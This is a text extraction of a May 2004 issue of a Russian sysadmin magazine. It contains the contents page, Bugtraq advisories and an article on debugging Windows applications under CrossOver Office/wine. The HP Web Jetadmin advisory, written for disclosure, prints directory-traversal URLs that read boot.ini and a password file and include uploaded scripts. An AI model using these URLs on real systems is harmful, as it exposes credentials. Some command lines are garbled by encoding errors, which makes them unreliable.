98
№5(18) май 2004 подписной индекс 81655 Использование rrdtool для мониторинга сети MRTG + snort Зеркалирование информации Знакомство с Open WebMail Postfix как шлюз для Exchange Role Based Access Control в Solaris 9 IPFilter с самого начала Централизованное обнаружение вторжения с Samhain Побег через брандмауэр Утечки памяти в программах на Perl Управление сетевой печатью в Windows 2000 Использование rrdtool для мониторинга сети MRTG + snort Зеркалирование информации Знакомство с Open WebMail Postfix как шлюз для Exchange Role Based Access Control в Solaris 9 IPFilter с самого начала Централизованное обнаружение вторжения с Samhain Побег через брандмауэр Утечки памяти в программах на Perl Управление сетевой печатью в Windows 2000 №5(18) май 2004

018 Системный Администратор 05 2004

Embed Size (px)

DESCRIPTION

Централизованное обнаружение вторжения с Samhain Централизованное обнаружение вторжения с Samhain Знакомство с Open WebMail Знакомство с Open WebMail IPFilter с самого начала IPFilter с самого начала Утечки памяти в программах на Perl Утечки памяти в программах на Perl Зеркалирование информации

Citation preview

Page 1: 018 Системный Администратор 05 2004

№5(18) май 2004подписной индекс 81655

Использование rrdtoolдля мониторинга сети

MRTG + snort

Зеркалирование информации

Знакомство с Open WebMail

Postfix как шлюз для Exchange

Role Based Access Control в Solaris 9

IPFilter с самого начала

Централизованное обнаружениевторжения с Samhain

Побег через брандмауэр

Утечки памяти в программах на Perl

Управление сетевой печатьюв Windows 2000

Использование rrdtoolдля мониторинга сети

MRTG + snort

Зеркалирование информации

Знакомство с Open WebMail

Postfix как шлюз для Exchange

Role Based Access Control в Solaris 9

IPFilter с самого начала

Централизованное обнаружениевторжения с Samhain

Побег через брандмауэр

Утечки памяти в программах на Perl

Управление сетевой печатьюв Windows 2000№

5(18

) м

ай 2

004

Page 2: 018 Системный Администратор 05 2004
Page 3: 018 Системный Администратор 05 2004

1№5(18), май 2004

оглавление

АДМИНИСТРИРОВАНИЕ

Запуск Windows-приложений под Linuxс помощью CrossOver OfficeЧасть 3

Андрей Бешков[email protected] 6

Использование rrdtoolдля мониторинга сети

Всеволод Стахов[email protected] 16

MRTG + snort

Павел Закляков[email protected] 22

INSERT – Inside Security Rescue Toolkit

Сергей Яремчук[email protected] 26

Зеркалирование информации

Александр Байрак[email protected] 28

Знакомство с Open WebMail

Андрей Маркелов[email protected] 30

Postfix как шлюз для Exchange

Игорь Полянский[email protected] 34

IPFilter с самого начала

Татьяна Ильченко[email protected] 38

Role Based Access Control (RBAC) в Solaris 9

Дмитрий Селезнев[email protected] 44

БЕЗОПАСНОСТЬ

Централизованное обнаружениевторжения с Samhain

Сергей Яремчук[email protected] 50

Что ждет персональные компьютерызавтра?

Максим Костышин[email protected] 62

Побег через брандмауэр плюстерминализация всей NT

Крис Касперски[email protected] 66

ПРОГРАММИРОВАНИЕ

Утечки памяти в программах на Perl

Алексей Мичурин[email protected] 78

Java: встраиваем сервер Telnet

Александр Фефелов[email protected] 82

ОБРАЗОВАНИЕ

Управление сетевой печатьюв Windows 2000Часть 1

Иван Коробко[email protected] 88

BUGTRAQ 4, 15, 61, 94

Page 4: 018 Системный Администратор 05 2004
Page 5: 018 Системный Администратор 05 2004
Page 6: 018 Системный Администратор 05 2004

4

bugtraq

Переполнение буфера в ModSecurityдля Apache 2.xПрограмма: ModSecurity 1.7.4 для Apache 2.x/Опасность: Критическая.Описание: Переполнение буфера обнаружено в Mod-Security для Apache 2.x. Удаленный атакующий можетвыполнить произвольный код на уязвимом сервере.

«off-by-one»-переполнение обнаружено в ModSecurityдля Apache 2.x при включенной директиве проверки вхо-дящих POST-запросов «SecFilterScanPost». Уязвимостьпозволяет удаленному атакующему выполнить произволь-ный код на целевом веб-сервере.URL производителя: http://www.modsecurity.org.Решение: Установите обновленную версию модуля (1.7.5).

Множественные уязвимостив IA WebMail ServerПрограмма: IA WebMail Server 3.1.Опасность: Критическая.Описание: Несколько уязвимостей обнаружено в IA WebMailServer. Злонамеренный пользователь может вызвать отказв обслуживании, выполнить XSS-нападение, подделать от-правителя или скомпрометировать уязвимую систему.1. Переполнение буфера обнаружено в обработке имени

пользователя. В результате удаленный пользовательможет представить специально обработанное имяпользователя (около 980 байт), чтобы вызвать пере-полнение буфера и выполнить произвольный код науязвимой системе.

2. Удаленный пользователь может представить специаль-но обработанный некорректный запрос к «view» и«edit_contact» разделам, чтобы аварийно завершитьработу WebMail-процесса.

3. Межсайтовый скриптинг обнаружен в параметрах the«msgid», «NumMesg» и «contact_name» в разделах «view»и «edit_contact».

4. Злонамеренный пользователь может выступить в каче-стве другого пользователя, посылая e-mail сообщение,манипулируя параметром «from» в разделе «send».

URL производителя: http://www.tnsoft.com.Решение: Способов устранения обнаруженной уязвимо-сти не существует в настоящее время. Используйте аль-тернативное программное обеспечение.

Удаленное переполнение буферав Kerio MailServerПрограмма: Kerio MailServer до версии 5.7.7.Опасность: Высокая.Описание: Переполнение буфера обнаружено в KerioMailServer. Воздействие уязвимости не раскрывается.

Переполнение буфера обнаружено в спам-фильтре по-чтового сервера. Дополнительные подробности не раскры-ваются.URL производителя: http://www.kerio.com/kms_home.html.Решение: Установите обновленную версию программы(5.7.7): http://www.kerio.com/kms_download.html.

Уязвимость форматной строки в ssmtpПрограмма: sSMTP до версии 2.50.6.1.Опасность: критическая.Описание: Две уязвимости форматной строки обнаруже-ны в ssmtp. Удаленный почтовый ретранслятор может вы-полнить произвольный код с привилегиями ssmtp-процесса.

Уязвимость форматной строки обнаружена в функци-ях die() и log_event(). Удаленный пользователь (как почто-вый ретранслятор) может представить специально обра-ботанное значение, чтобы выполнить произвольный кодна целевой системе.Решение: Решение существует только для Debian Linux.

Несколько уязвимостей в HP Web JetadminПрограмма: HP Web Jetadmin 7.5.2546.Опасность: Высокая.Описание: Уязвимость обнаружена в HP Web Jetadmin.Удаленный авторизованный пользователь может читатьи записывать файлы на системе и выполнять код сцена-рия на целевой системе.

Удаленный авторизованный пользователь может подклю-читься к веб-службе и загрузить произвольные файлы в оп-ределенные местоположения и просматривать файлы в лю-бом местоположении с SYSTEM-привилегиями. HTS-сцена-рий /plugins/hpjwja/script/devices_update_printer_fw_upload.htsможет использоваться для загрузки файлов в каталог/plugins/hpjwja/firmware/printer/, используя следующий URL:

Также сообщается, что удаленный пользователь мо-жет вызвать setinfo.hts и читать файлы, определяя имяфайла в переменной setinclude, используя символы обхо-да каталога. Пример:

Например, уязвимость может использоваться для про-смотра кодированных паролей:

Загружая произвольный HTS-сценарий и затем исполь-зуя setinfo.hts, чтобы включить загруженный файл, удален-ный авторизованный пользователь может выполнить про-извольный HTS-код сценария на целевой системе. Пример:

Этот метод может использоваться для выполненияпроизвольных сценариев на системе и, например, создатьфайлы в папке запуска администратора.

Удаленный авторизованный пользователь может загру-зить специально сформированный сценарий и затем вы-полнить его, чтобы аварийно завершить работу hpwebjetd-процесса.URL производителя: http://h10010.www1.hp.com/wwpc-JAVA/offweb/vac/us/en/en/network_software/wja_overview.html.Решение: Способов устранения обнаруженной уязвимо-сти не существует в настоящее время.

https://victim:8443/plugins/hpjwja/firmware /printer/<filename>

https://victim:8443/plugins/hpjdwm/script/test/setinfo.hts?s ↵↵↵↵↵etinclude=../../../../../../../boot.ini

https://victim:8443/plugins/hpjdwm/script/test/setinfo.hts? ↵↵↵↵↵setinclude=../../../../../auth/local.users

https://victim:8443/plugins/hpjdwm/script/test/setinfo.hts? ↵↵↵↵↵setinclude=../../../hpjwja/firmware/printer/test.inc

Составил Александр Антипов

Page 7: 018 Системный Администратор 05 2004
Page 8: 018 Системный Администратор 05 2004

6

администрирование

АНДРЕЙ БЕШКОВ

ЗАПУСК WINDOWS-ПРИЛОЖЕНИЙ ПОД LINUXC ПОМОЩЬЮ CROSSOVER OFFICEЧАСТЬ 3

С момента выхода в свет первых двух статей о CrossOver Office прошло не так уж и много времени,и я надеюсь, вы еще не забыли, что мы изучали способы, пользуясь которыми можно довольнопросто и удобно работать с Windows-программами под управлением Linux. Если же по каким-либопричинам вы не читали вышеупомянутых статей, то это досадное неудобство можно легко исправить,либо найдя старые номера нашего журнала, либо посетив сайт http://onix.opennet.ru. Ну а нас ждетновая экскурсия в увлекательный мир эмуляции.

Page 9: 018 Системный Администратор 05 2004

7№5(18), май 2004

администрирование

Надеюсь, что третьей статьей мне наконец-то удастся за-вершить повествование и охватить все вопросы, прислан-ные читателями в ответ на предыдущие публикации поэтой теме. Как и обещал, сегодня мы займемся изучени-ем способов поиска неисправностей и скользких момен-тов, скрытых в Windows-программах и не позволяющихуспешно работать со столь необходимыми нам приложе-ниями внутри эмулятора. В дальнейшем я предполагаю,что вы умеете самостоятельно установить и произвестиначальную настройку CrossOver Office. Как обычно, гото-вясь к любым экспериментам внутри эмулятора, лучшевсего сделать резервную копию директории /cxoffice, вкоторой находится наш урезанный вариант Windows. Вслучае если что-то пойдет не так, как мы ожидаем, у насвсегда будет возможность восстановить рабочую средупростым копированием ее из архива.

В качестве первого подопытного кролика была выбра-на программа Ulead Smart Saver Pro 3.0. Она привлекламое внимание тем, что умеет очень хорошо оптимизиро-вать изображения, и в то же время в ней присутствуютпрактически все проблемы, с которыми можно столкнуть-ся при установке Windows-программ. Довольно частофайл, в котором хранится изображение, после обработкиэтим приложением может похудеть без потери качествана размер от 20 до 80 процентов первоначального объе-ма. Несмотря на все увеличивающееся пропускную спо-собность интернет-каналов, такая оптимизация способнадовольно благотворно повлиять на скорость работы лю-бого сайта. Скачиваем дистрибутив пробной версии это-го приложения здесь: http://www.ulead.com/ssp/runme.htm.Как обычно, с помощью программы officesetup начинаемновую инсталляцию официально неподдерживаемого про-граммного обеспечения. Первый же появившийся экранпрограммы Ulead Smart Saver Pro заставляет нас предпо-ложить что-то неладное: уж очень подозрительно выгля-дят многочисленные надписи «exclamdown», рассыпавши-еся вперемешку с фигурными скобками по верхней частидиалогового окна. Судя по всему, какой-то из служебныхскриптов работает неправильно.

Конечно, это не смертельно, но уже заставляет насто-рожиться. После перехода к следующему шагу инсталля-ции по надписям в окне, появляющимся в момент выпол-нения промежуточных действий, мы видим, что дистри-бутив упакован с помощью системы InstallShield.

Обнаружение данного неприятного факта не оставляетнас равнодушными. Поддержка скриптов InstallShield ещене очень хорошо реализована в эмуляторе, поэтому нампридется многие действия выполнять вручную и весьма ча-сто прибегать к помощи шаманского бубна. Впрочем, насэто ни в коей мере не огорчает, потому что пользователиUNIX – люди к трудностям привычные. Так, шаг за шагоммы доходим до момента, когда приходится выбрать, кудаименно нужно устанавливать программное обеспечение.

На следующем шаге должно начаться копированиефайлов. К сожалению, этого не происходит, и на экранепоявляется следующая ошибка.

Теперь нужно дождаться, пока программа officesetupне завершит все работающие wine-процессы. Для того что-бы умело пользоваться возможностями отладки, встро-енными в wine, нужно изучить немного добавочной тео-рии. Отладочные сообщения могут принадлежать к лю-бой из четырех разновидностей, называемых классами.Принадлежность к тому или иному классу определяетсяразработчиками wine в зависимости от того, насколькокритично для нас выводимое сообщение. Давайте разбе-ремся с каждым из этих пресловутых классов подробнее.! FIXME – сообщения данного класса сигнализируют о

том, что какое-то действие, запрошенное Windows-при-ложением, не выполнено. Обычно это случается в свя-зи с тем, что реализация нужной нам функции еще несоздана в wine, а вместо нее на данный момент ис-пользуется пустышка, не выполняющая никаких серь-езных действий. Такой тип сообщений служит напоми-нанием разработчикам о необходимости наконец-то за-кончить разработку того или иного функционала.

Page 10: 018 Системный Администратор 05 2004

8

администрирование

! ERR – к подобным сообщениям нужно относиться бо-лее серьезно, ведь они показывают наличие критичес-ких ошибок во время выполнения кода. А это значит, впроцессе работы случилось что-то очень плохое. Чащевсего подробные сведения, разъясняющие, что именнопроизошло, следуют сразу же за этими сообщениями.

! WARN – предупреждения обычно появляются в тот мо-мент, когда выполняемая функция еще не совершиланепоправимых ошибок, но уже не может самостоятель-но стопроцентно правильно выполнять все нужные дей-ствия. Такие сообщения появляются довольно редко,потому что обычно более или менее правильно напи-санная функция не должна впадать в панику из-за ка-ких-то мелких нестыковок. В случае ошибок образцо-вая функция должна вернуть родительской функциикод ошибки и предоставить вышестоящим инстанци-ям право решать, что именно нужно делать.

! TRACE – позволяет предоставить наиболее детализи-рованные отчеты о ходе выполнения того или иногокода. Чаще всего полезен во время первоначальнойотладки разработки новых компонентов wine, поэтомупо умолчанию отключен.

! MESSAGE – сообщения, предназначенные для конеч-ного пользователя. Так же, как и класс WARN, исполь-зуется очень редко из-за своей малой полезности в по-вседневной жизни.

Разобравшись с классами сообщений, давайте перей-дем к другому важному понятию. Каждый компонент wineимеет свой канал для вывода отладочной информации.Например, функции, отвечающие за работу с реестром,пишут отладочные сообщения в канал по имени reg, ну ате, кто выполняет действия с файлами, соответственноиспользуют отдельный канал, называемый file. Названияостальных доступных нам каналов выглядят так же про-сто и понятно. К примеру, функции, занимающиеся заг-рузкой dll, выводят свои сообщения в канал loaddll. В об-щей сложности нам доступно 233 канала:

Думаю, название каждого из них довольно красноре-чиво говорит само за себя. Вдобавок ко всем перечис-ленным есть еще один псевдоканал под названием all, яв-ляющийся ссылкой на все каналы сразу. Выбрав его, мыполучим абсолютно все отладочные сообщения, создава-емые wine. Количество отладочной информации выводи-мой в тот или иной канал, может быть довольно большим,если не сказать огромным, поэтому, пользуясь точным ука-занием интересующих нас каналов и классов сообщений,мы имеем возможность отфильтровать только те фраг-менты данных, которые нам реально необходимы. Давай-те разберемся, как это делается. Описание типа нужныхнам отладочных сообщений чаще всего выглядит доволь-но просто. К примеру, если мы хотим увидеть сообщениякласса WARN для канала, отвечающего за работу с реес-тром, то должны выполнить следующую команду:

В случае если класс сообщений не указан, wine счита-ет, что мы хотим читать все классы данного канала. При-мером, иллюстрирующим такой подход, может стать сле-дующая команда:

Классами сообщения можно управлять не только спомощью знака «+», но и воспользовавшись его антипо-дом, знаком «-». Следующая приятная возможность, ко-торая может весьма облегчить жизнь во время занятийпоиском неисправностей, это то, что каналы сообщенийможно перечислять через запятые. Нижеприведенная ко-манда покажет все сообщения, относящиеся к загрузкеdll, а из тех, что выводятся при работе с реестром, скроетвсе, что подпадает под класс ERR.

$ /opt/cxoffice/bin/wine --debugmsg warn+reg èìÿ ïðîãðàììû

$ /opt/cxoffice/bin/wine --debugmsg +reg èìÿ ïðîãðàììû

$ /opt/cxoffice/bin/wine --debugmsg +loaddll, ↵↵↵↵↵err-reg èìÿ ïðîãðàììû

Page 11: 018 Системный Администратор 05 2004

9№5(18), май 2004

администрирование

Итак, разобравшись с теорией, приступим к практи-ческим действиям. Нам нужно узнать, что же именно ме-шает программе установить в систему эту загадочную биб-лиотеку OPASmgr.dll. А так как речь идет об ошибке, свя-занной с файлом, то, видимо, стоит посмотреть, как при-ложение обращается со своими файлами. Для этого по-даем следующую команду:

Сообщений получается довольно много, поэтому я спе-циально перенаправил их в файл logfile.txt с помощью клю-ча командной строки --cx-log. В результате получился файлотладки размером в полтора мегабайта. Пройдясь по фай-лу поиском, обнаруживаем в нем следующие записи:

Повторяющиеся записи я отфильтровал, но все равно,судя по суете в районе C:\\WINDOWS\\TEMP\\, скрипт InstallShield производит туда распаковку дистрибутива и затемзапускает оттуда инсталляцию. Идем далее и обнаружи-ваем еще более интересные факты.

Судя по всему, инсталлятор не может получить дос-тупа на запись в собственноручно созданную директо-рию C:\\Program Files\\Ulead SmartSaver Pro 3.0\\, а воз-можно, ему не удается внести нужные данные в файлC:\\Program Files\\Ulead SmartSaver Pro 3.0\\OPASMgr.dll.Посмотрев на вышеуказанную директорию, понимаем,что с правами у нас все вроде бы в порядке.

Весьма настораживает активность внутри директорииC:\\Windows\\Temp\\, поэтому запускаем инсталляцию

вновь, но уже без отладки. Дойдя до момента, когда нуж-но указать, куда устанавливать программу, останавлива-емся и смотрим, что у нас появилось нового в интересую-щей нас директории. Там действительно есть на что по-глядеть, особенно обращают на себя внимание папки,иерархия которых отображена на следующей картинке.

Пройдясь по этим папкам, мы обнаруживаем, что внут-ри них хранится уже распакованный и готовый к установ-ке дистрибутив. Копируем его в какое-либо безопасноеместо и прерываем ожидающую нашего ответа програм-му инсталляции. Затем уже запускаем программуSetup.exe из только что распакованного дистрибутива.Теперь вся установка, освобожденная от оков InstallShield,проходит на ура, но радоваться пока рано. Попробовавзапустить свежеустановленную программу с помощьюфайла Usspro.exe, получаем от ворот поворот. Приложе-ние, не открывая ни одного окна и не показывая никакихошибок, молчаливо вываливается обратно в консоль. Воттут-то нам и пригодятся отладочные каналы loaddll и file.Проблемы с загрузкой тех или иных библиотек – доволь-но частая причина, по которой приложения отказываютсяработать.

Судя по первой строке, программа не может найтифайл динамически загружаемой библиотеки u32Comm.dll,на которую в свою очередь ссылается UssAbout.dll. Припопытке приложения загрузить динамические библиоте-ки wine ищет их в следующих местах:! папка, откуда программа была запущена (где лежит

ее выполняемый файл);! текущая папка;! папка C:\Windows\System\;! папка C:\Windows\;! все остальные папки, указанные в переменной окру-

жения PATH.

В случае если программе нужна какая-либо специ-фическая DLL, поставлявшаяся вместе с Windows, ееможно перенести вручную либо с компьютера, работаю-щего под этой операционной системой, либо найти ее вИнтернете. Ну а если с этими двумя вариантами не по-везло, то всегда остается возможность с помощью ути-

$ /opt/cxoffice/bin/wine --cx-log logfile.txt ↵↵↵↵↵--debugmsg +file ./Ussp30to.exe

$ /opt/cxoffice/bin/wine --debugmsg +file ./Usspro.exe

Page 12: 018 Системный Администратор 05 2004

10

администрирование

литы cabextract вытащить необходимые файлы из cab-ар-хивов, хранящихся на CD-ROM c дистрибутивом Windows.Довольно быстро обнаруживаем недостающую библиоте-ку в дистрибутиве программы и кладем ее в домашнююдиректорию приложения. После этого можно снова попро-бовать запустить его.

На этот раз нам повезло чуть больше, появилась зас-тавка, рассказывающая о том, что программа защище-на с помощью системы VBOX, и что мы можем пользо-ваться ею условно бесплатно в течение следующих 15дней. Наличие той или иной защиты в программе обыч-но довольно сильно усложняет процесс работы с такимприложением. К сожалению, приложение все еще не го-тово к нормальной работе. Нажав на кнопку «Try», полу-чаем огромный список предупреждений и критическуюошибку, вызывающую немедленное падение программы.Снова запускаем наше многострадальное приложение,только теперь нас интересуют данные из отладочногоканала loaddll.

На приведенной краткой выдержке из протокола явновидно, что большинство DLL работает в режиме native, тоесть wine не пытается подменять своими собственнымиреализациями родные библиотеки. Судя по строкам, ко-торые я выделил красным цветом, у нас происходит кон-фликт версий между библиотеками SHDOCVW.DLL иSHLWAPI.DLL. Вторая библиотека требует от первой пра-вильной реализации импортируемой функции AssocIsDangerous, но, судя по всему, выполнить эти требованияSHLWAPI.DLL не способна. Для выхода из столь неприят-ного положения мы можем принудительно указать wine,что при загрузке SHDOCVW.DLL и SHLWAPI.DLL нужноиспользовать не родные версии этих библиотек, а встро-енные (builtin) в wine. Поэтому нам придется впредь за-пускать приложение следующей командой:

По идее, можно было обойтись только подменойSHDOCVW.DLL, но, к сожалению, это не всегда стабиль-но работает. Как видите, приложение отлично функцио-нирует. Убедиться в этом можно, посмотрев на следую-щий снимок экрана.

Теперь программу придется запускать указанной вышекомандной строкой, что, согласитесь, немного неудоб-но. Ну а мы, как истинные сибариты, хотим избавить себяот запоминания и постоянного набора c клавиатуры этихопций, поэтому открываем конфигурационный файл$HOME/fake_windows/config и ищем в нем вот такую строч-ку: # [/wineconf], обозначающую конец главной секции. Най-дя ее, вставляем в любое приглянувшееся место передэтой строкой следующее объявление, описывающее не-обходимое нам переопределение порядка загрузки биб-лиотек для приложения Usspro.exe.

$ /opt/cxoffice/bin/wine --debugmsg +loaddll ./Usspro.exe

$ /opt/cxoffice/bin/wine --dll shdocvw,shlwapi=b ./Usspro.exe

Page 13: 018 Системный Администратор 05 2004

11№5(18), май 2004

администрирование

После сохранения файла конфигурации можно будетудобнее и спокойнее работать с приложением без стра-ха забыть какую-либо опцию или уронить другие програм-мы, которым для правильного функционирования нужнообязательно загружать родные варианты вышеназван-ных DLL.

Закончив бороться с этой программой, мы многому на-учились, но пока что не время останавливается. Поэтомусейчас нужно заняться установкой программы Ultra Editверсии 10.10b, которую можно скачать, перейдя по следу-ющему адресу: http://www.ultraedit.com/downloads/. Данноеприложение выбрано в качестве объекта эксперимента подвум причинам. Во-первых, потому, что оно является, смоей точки зрения, одним из самых удобных редакторовдля разработчика из всех когда-либо встречаемых мнойпод Windows. Вторая причина состоит в том, что из-заочень сложного кода инсталлятора программу тяжело ус-тановить и успешно эксплуатировать под управлениемэмулятора. А нам это как нельзя кстати. Позарез нужныименно такие тяжелые пациенты, потому что, заставив этупрограмму работать, мы сможем изучить несколько но-вых продвинутых приемов. Это в свою очередь позволитсущественно повысить успешность наших попыток по пе-реносу Windows-приложений в среду эмуляции. Добавоч-ный опыт выживания в сложных условиях будет для насочень кстати. Пробуем запустить инсталляцию и убежда-емся в том, что дела идут хуже некуда. Программа, нари-совав на экране заставку, падает через полсекунды, бук-вально засыпав экран ворохом ошибок. Опробовав всеприемы, изученные нами в борьбе с предыдущим против-ником, понимаем, что проблема ни на йоту не сдвинуласьс мертвой точки, а все приобретенные знания ничем непомогают.

Пришло время бросить в бой танковые дивизии и за-давить противника техническим преимуществом. Для со-здания полигона нам понадобится либо отдельный ком-пьютер с работающей Windows 98, либо система полнойэмуляции с запущенной внутри нее полноценной версиейнужной нам операционной системы. В качестве таких эму-лирующих контейнеров можно использовать VMWareWorkstation, Virtual PC или Win4Lin. Я выбрал VMWare какнаиболее привычный для меня инструмент, ну а вы може-те использовать любой из вышеперечисленных вариан-тов, самый подходящий под ваши вкусовые предпочте-ния. Главное, чтобы у нас была нормальная рабочая вер-сия Windows, под управлением которой мы сможем проин-сталлировать все необходимые инструменты. Первым де-лом устанавливаем программу Filemon, которая позволяетпротоколировать все обращения к файлам. Затем делаемто же самое с программой Regmon, помогающей следитьза всеми манипуляциями с реестром. Автор обоих выше-описанных инструментов Mark Russinovich. Они лежат в сво-бодном доступе на сайте: http://www.sysinternals.com/win9x/98utilities.shtml. Установка проста, как три копейки. Создайтена жестком диске директорию и распакуйте в нее содер-

жимое архивов. Думаю, инсталляция этого комплекса ни укого не вызовет затруднений.

Пользуясь только что полученными инструментами, мысможем записать все действия, которые подопытная про-грамма выполняет во время своей установки. А затемповторить их вручную под управлением CrossOver, темсамым освобождая себя от необходимости пользоватьсяфирменным инсталлятором. Запустив Regmon, должныувидеть на экране похожую картинку.

Как вы могли убедиться, интерфейс приложения прости интуитивно понятен. При каждом обращении любогопроцесса к реестру программа записывает время, когдаслучилось событие, имя процесса, тип действия, ключреестра, с которым нужно взаимодействовать, код воз-врата и данные, полученные в результате выполнения дей-ствия. Интерфейс утилиты Regmon выглядит точно так же,единственное отличие в том, что он показывает действия,производимые по отношению к файлам.

Обычно в системе работает очень много процессов,занимающихся своими собственными делами, дабы онине мешали нам и не мусорили в протокол, мы должны су-зить поле зрения запущенных утилит. Для этого клави-шей щелкаем на неугодном процессе и в ниспадающемменю выбираем пункт «Exclude Process». Исключая одинпроцесс за другим, мы должны добиться, чтобы протоко-лировались только действия процесса, занимающегосяинсталляцией. Запустив установку UltraEdit, выбираем,какой тип инсталляции провести.

[AppDefaults\\Usspro.exe\\DllOverrides]; Ulead Smart Saver Pro 3.0"shdocvw" = "builtin""shlwapi" = "builtin

Page 14: 018 Системный Администратор 05 2004

12

администрирование

Затем решаем, какие из компонентов нам действитель-но необходимы, а от каких можно безболезненно отказать-ся. После того как установка успешно завершится, на воп-рос, нужно ли перезагрузить операционную систему, не-пременно отвечаем «нет».

Делаем мы так по двум причинам. Во-первых, данныеслежения, собранные с помощью Regmon и Filemon, ещене сохранены на жесткий диск. Во-вторых, после перезаг-рузки состояние системы может сильно измениться, анекоторые файлы могут быть удалены. Хотелось бы какможно точнее имитировать внутри эмулятора всю после-довательность событий, происходящих во время установ-ки и перезагрузки.

Сохраняем протоколы работы с файловой системой иключами реестра в файлы uedit_file_inst.log и uedit_reg_inst.log. После этого можно посмотреть, что, собственно,в них записалось. Здесь я приведу только краткие выдер-жки, собранные из наиболее характерных записей.

Содержимое файла uedit_file_inst.log:

Самыми интересными для нас являются строки, в ко-торых упоминается операция Write, ведь мы хотим узнать,какие файлы появились и какие изменились в результатеустановки. Для удобства я пометил пример такой строкикрасным цветом. Теперь давайте посмотрим на отрывкииз файла протокола работы с реестром.

Содержимое файла uedit_reg_inst.log:

Как и в предыдущем примере, интересующие насстроки помечены красным. Надеюсь, вы уже догадались,что нас интересуют операции CreateKey и SetValueEx, от-вечающие за создание новых ключей и установку их зна-чений. Впрочем, просмотрев файл, я пришел к выводу,что операция SetValueEx, присваивающая ключу значе-ние, всегда идет сразу же за CreateKey, поэтому можнооблегчить нашу задачу, выбирая данные только по это-му признаку. Поразмыслив еще немного, я пришел квыводу, что такое поведение довольно естественно, ведьпрограмме инсталляции нет смысла создавать пустыеключи.

В связи с тем, что размер первого файла 1.2 Мб, а вто-рого 283 Кб, думаю, все понимают, что обрабатывать вруч-ную их не только затруднительно, но и весьма неприятно.Поэтому мы поступим в соответствии с фразой «Никогдане доверяй человеку работу, которую может выполнитьскрипт». По моему мнению, UNIX является лучшей плат-формой для выполнения задачи фильтрации текстовыхданных. Так происходит потому, что благодаря возможно-сти связывать команды в цепочку с перенаправлением ре-зультатов работы одной команды на стандартный вводдругой мы можем без труда создавать довольно сложныефильтры.

Итак, давайте нарисуем план работы скрипта, филь-трующего данные о действиях с файлами. Сначала нуж-но выбрать все строки, в которых тип операции равенWrite, затем отфильтровать только те, где статус выпол-няемой операции равен SUCCES. После этого вырезатьпятое поле строки, содержащее имя изменяемого фай-ла. В связи с тем, что во время первоначальной распа-ковки дистрибутива происходит очень много операцийзаписи в папку TEMP, нам нужно отбросить все строки,содержащие такие фрагменты. Делаем мы так потому,что после инсталляции программа стирает все времен-ные файлы из папки TEMP, соответственно нам тамтоже нечего делать. Полученный список файлов под-вергается сортировке с исключением повторяющихсястрок и сохраняется в файл uedit_file_inst_selected.log.Все вышеописанные действия выполняются следующейкомандой:

Page 15: 018 Системный Администратор 05 2004

13№5(18), май 2004

администрирование

В результате получаем файл размером в 1.4 Кб с воттаким содержимым:

Складываем в отдельную папку файлы, указанные всписке. Иерархию директорий, в которой эти файлы из-начально находились, лучше всего воссоздать в нашейвременной папке. Так будет проще разложить файлы понужным местам в эмуляторе. Впрочем, файлы WIN386.SWPи все, что связано с рабочим столом и главным меню, мож-но не копировать.

Настало время приступить к выполнению действий надфайлом, в котором хранится протокол работы с реестром.Процедура фильтрации отличается от предыдущего при-мера только тем, что мы выбираем строки, в которыхвстречается цепочка символов SetValue.

В качестве награды за труды и проявленную сообра-зительность получаем файл tmp.log размером в 2.9 Кб.

Как вы теперь можете убедиться, всю рутинную рабо-ту удалось выполнить очень легко. Именно в таких зада-чах проявляется скромное очарование UNIX.

Первая строка этого файла слегка сбила меня с толку.Поискав в реестре, я так и не смог найти разделов и клю-чей с именем 0xC2A13710. Но, с другой стороны, такойраздел должен быть, ведь мы отбирали записи только отех операциях с реестром, которые были действительновыполнены и возвратили код SUCCESS. Немного поду-мав, я стал искать с помощью программы regedit подраз-делы с именем SavedLegacySettings. Такая цепочка сим-волов встречалась лишь в следующих подразделах:

Добавив их в файл вместо символов 0xC2A13710, ярешил, что можно приступать к экспорту данных из реес-тра. По идее можно было бы еще сильнее уменьшить этотфайл, сведя все ключи к минимальному общему наборусимволов. К примеру, следующие ключи:

могут быть заменены одной строкой:

Подобным же образом можно поступить и с многимидругими записями. При экспортировании любой ветки спомощью regedit все вложенные в нее значения обязатель-но будут сохранены в файл.

$ cat uedit_file_inst.log | grep Write | grep SUCCESS | cut ↵↵↵↵↵-f5> | grep -v "TEMP" | sort -u > uedit_file_inst_selected.log

$ cat uedit_reg_inst.log | grep SUCCESS | grep "SetValue" | ↵↵↵↵↵cut -f5 | sort -u > tmp.log

Page 16: 018 Системный Администратор 05 2004

14

администрирование

Первая проблема заключается в том, что Regmon за-писывает имена ключей в краткой форме, но regedit непонимает такой нотации. Соответственно мы, получив имяключа реестра, должны приводить его к стандартномувиду, заменяя сокращенные названия на полные в соот-ветствии со следующей таблицей.

Сделать это можно следующей командой, использую-щей возможности строкового редактора sed:

Переносим полученный файл uedit_reg_inst_selected.logобратно под Windows 98. Затем с помощью regedit прохо-дим по веткам, перечисленным в списке, и проводим экс-портирование каждой из них в файл. Полученные файлыпереносим на UNIX и соединяем в один с помощью воттакой простой команды:

Следующая проблема, которая нас поджидает на пути,состоит в том, что каждый reg-файл обязательно долженначинаться строкой REGEDIT4. Поэтому, при слиянии всехфайлов в один, наш результирующий файл был букваль-но напичкан этой надписью. Пришлось удалить все лиш-ние строки и оставить только самую первую. Закончив сэтим, можно приступить к импортированию полученныхданных в реестр Windows, работающйй под управлениемCrossOver Office.

Нам нужно вручную воссоздать всю иерархию дирек-торий, находящихся в C:\PROGRAM FILES\ULTRAEDIT\.После этого можно приступать к раскладыванию бинар-ных файлов, собранных нами под Windows 98 по соответ-ствующим директориям. Закончив с этим, обязательновыполняем перезапуск нашей виртуальной Windows сис-темы с помощью программы cxreboot.

Самое время проверить результаты нашего долгоготруда. Переходим в домашнюю директорию Ultraedit ипытаемся запустить файл uedit32.exe. Как обычно, припервом запуске получаем экран с просьбой назначитьрасширения, связываемые с UltraEdit.

И затем нашему взору предстают и все остальные ра-бочие окна редактора. Как это выглядит, вы можете уви-деть на следующем снимке.

Я надеюсь, теперь многие из читателей убедились,что мы с успехом выполнили то, что в начале пути каза-лось совершенно неосуществимым, нужно было лишьприложить немного труда и научиться нескольким удач-ным приемам. Стоит признать, что методики переносаприложений, описанные в данной статье, не являются сто-процентной панацеей, но все же они помогут вам самосто-ятельно перенести на Linux многие нужные Windows-при-ложения.

